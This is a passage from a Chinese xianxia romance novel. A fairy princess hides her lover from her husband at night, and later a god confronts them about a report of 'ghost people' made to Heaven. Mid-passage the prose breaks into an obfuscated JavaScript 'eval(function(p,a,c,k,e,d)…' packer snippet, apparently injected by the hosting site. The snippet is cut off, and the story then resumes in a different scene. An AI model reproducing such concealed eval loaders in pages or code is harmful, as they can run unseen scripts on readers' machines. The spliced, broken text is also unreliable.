她知道屺阴不喜欢她的吻,反正她也是想连哄带骗得他的灵力,没必要惹他不快。 屺阴清晰地听到自己的心跳声。 愈来愈烈。 他知道此刻应当做的是立马起身,再怒斥姬灵水手段卑劣,最好是今日就将那碍事的牵脉引斩断,从此获得自由身。 可脑中不断浮现出姬灵水的话,让他动弹不得。 怎么可能。 三千年前他就厌恶这个人了。 她任性娇蛮、飞扬跋扈,依仗皮囊和身份将所有人踩在脚下。她的目光永远不会在他身上停留,她只是想达到不为人知的目的。 她在利用他。 脑中天人交战。 屺阴倏然翻过身,姬灵水眼神清明了那么一瞬,而后手脚并用再度缠了上去,挤得他险些喘不过气。 他把掐着自己臂膀的姬灵水的手扯下来,捏着她的掌心恶狠狠道:“我不是那只狼。” 姬灵水低声呜咽:“嗯嗯,不是不是。” 边说边往他的胸膛里蹭,“好乖的小狼崽。” …… 身下的人仿佛并不清醒,屺阴盯着她迷蒙的双眼,捏着她的那只手用了几分力。 “今日没有仙草,你不是也没丢下我吗?”姬灵水眼眶莹润着水泽,有气无力地用那只手掰开他的手指与他十指相握。 好像有什么在他脑中炸开。 他从未觉得自己如此卑贱过。 他的心似乎随着其他什么一同深陷,越发沉沦。 殿内一片旖旎,直至外间突然传来瓷瓶碎地的声音。 姬灵水陡然睁开眼,神色惊惧,指尖深深掐进屺阴的臂膀。 “你不是说他醒不过来吗?” 屺阴嘶了一声,喑哑道:“你轻些。” 姬灵水却顾不得那么多,把屺阴往旁一推,连忙扯过一边的被褥,将他紧紧罩进去。 随后慌乱出声询问:“拾鱼君?是你吗?” …… “拾鱼君?” 姬灵水眼神瞟向被褥缝隙,屺阴的脸色并不好看。她对他比了个噤声的手势,再度出声:“鹤拾鱼?” “夫人。”外间传来鹤拾鱼的声音,仔细去听,依稀能辨出其气息微弱。想来正是屺阴所用的秘药起了效用。 “怎么了,这么晚过来有事吗?”姬灵水一手死死攥着被角,生怕鹤拾鱼忽然进来。 他连前世她与鱼扶鹤的亲近都那般介怀,很难想象他发现屺阴在她床上会是如何神情。 “无事,只是来看看你是否有恙。”鹤拾鱼顿了顿,心间突然传来的刺痛激得他双唇发白,但他一手扶上外间的屏风架子,背脊依旧挺得很直。 不知是何人手段如此下作,竟用万陵的秘药陷害于他,使他内气冲体,不堪承受而晕眩。 他醒来第一时间就是来隔间找姬灵水,可她语气急促,声音颤抖,不像是安好的模样。 “我没事!”姬灵水急急道,“你快回去吧。” “……” 姬灵水趁机给屺阴传音:“你怎么还不走。” “公主——”话说了半截,屺阴的嘴被人死死捂住。 他抬眸,只见姬灵水又惊又气地瞪他,而后张牙舞爪地用口型说:“别出声!” 他竟生出一丝卑劣的得意。 这算什么?算偷情么。 鹤拾鱼扣着屏风架的指节绷紧,迟疑着开口:“你身边有人?” 姬灵水被一阵巨大的无助席卷,她从未遇到过这样的情形,方才的不管不顾让她此刻后悔得直拍脑门。 她尽量使自己的声音听起来并无异常:“怎么会有人?我方才已经睡了,就是忽然被你吵醒,有点害怕……” “那我进来看看你。” “别!”姬灵水面色惨白,渐渐没有底气,“我没穿衣服……” “我等你穿好再进来。”鹤拾鱼声音又低又闷。 屺阴的传音适时进入她的脑海:“若我施法遁走,他必定会有所察觉。” 是吗?好像也是……她忘了,那抹黑烟很难视而不见,除非鹤拾鱼瞎了。 姬灵水对屺阴这副悠然自得的模样颇为不满,她急得汗珠都止不住地往下掉,他却像没事人似的。 罢了,认命好了。 她拉过帷幔,用被褥将自己裹了个严严实实,又装模做样地捂嘴咳了几声,鹤拾鱼穿过屏风,一眼看见的就是帷幔后姬灵水呛咳的模样。 鹤拾鱼隐约能见姬灵水两颊桃红,猜测应该是咳的。 “我、我怕传了病气给你。” 姬灵水已口不择言,想到什么说什么。 “无妨。”鹤拾鱼指尖刚勾起帷幔的一角,正要挑开帐子去看她,隔壁殿传来撕扯的唤声:“主君,小人终于找到您了,不好了!出大事了!” 鹤拾鱼手指一顿,发丝褪至银白,琥珀色的瞳孔蓦然放大。 姬灵水赶紧扯过他手里的帐子,火急火燎道:“发生什么事了?你快去看看。” 鹤拾鱼默了默:“我等会再来看你。” 等帐外彻底没了声音,姬灵水一把掀开被褥,屺阴已衣冠齐整,好整以暇看着她。 她哼道:“是阿黄的声音,你搞的鬼?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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好一会儿才反应过来,方才是他骗她!他要是施法走了,鹤拾鱼也根本不会察觉。他就是存心让她干着急。 思及此,姬灵水对着他后背伸手捶了一拳,屺阴突然停下了步子。 姬灵水抬眸,被眼前的紫色金光闪得睁不开眼。 “长、长微神君?” 黎长微额间金印明灭,照得漆黑的长街仿佛张灯结彩了一般。他驻在半空,眸光一如既往地淡漠。 只是轻一伸手,他左侧立即出现一轮金色的光圈,其间竟有一状似木偶的人形身躯自顾自地走动,动作干涩又迟钝,四肢不停地融化出浓黑色的液体。 有些恶心,姬灵水扯过屺阴的身子,把他挡在自己身前。 “这是‘鬼人’,”黎长微开了尊口,“灵水君未曾见过?” 姬灵水摇头:“不曾。” 她向来只是听说,当然没见过这等东西。 据说是将蚀骨灼心的鬼水活生生灌入凡人体内,手段残忍可怖。 黎长微眸光流转,定在神色平常的屺阴面上。 “吾以为灵水君手下的人向天界揭发此等恶劣之事是灵水君授意。” 什么?!姬灵水看向屺阴,屺阴紧抿双唇,十分淡然。 她狠狠扯他的袖子,压低声音:“你疯了?你不知道他跟鱼扶鹤是多年好友?” 向黎长微揭发鱼扶鹤? 坏了坏了,这下好了!还扯上黎长微了,他真是嫌上仙洲死得不够快。 屺阴望向黎长微,“我相信长微神君不会徇私。” 黎长微笑笑,指尖灭了那个光圈,悠然道:“事情尚未定论,还不知最后是何人需此鞭策。” “毕竟,灵水君与两位都很亲近不是么。”此话意味深长。 “本君告辞。” ……………… 姬灵水的脸彻底黑了。 不要告诉她方才在行宫里的所有事都被黎长微看到了??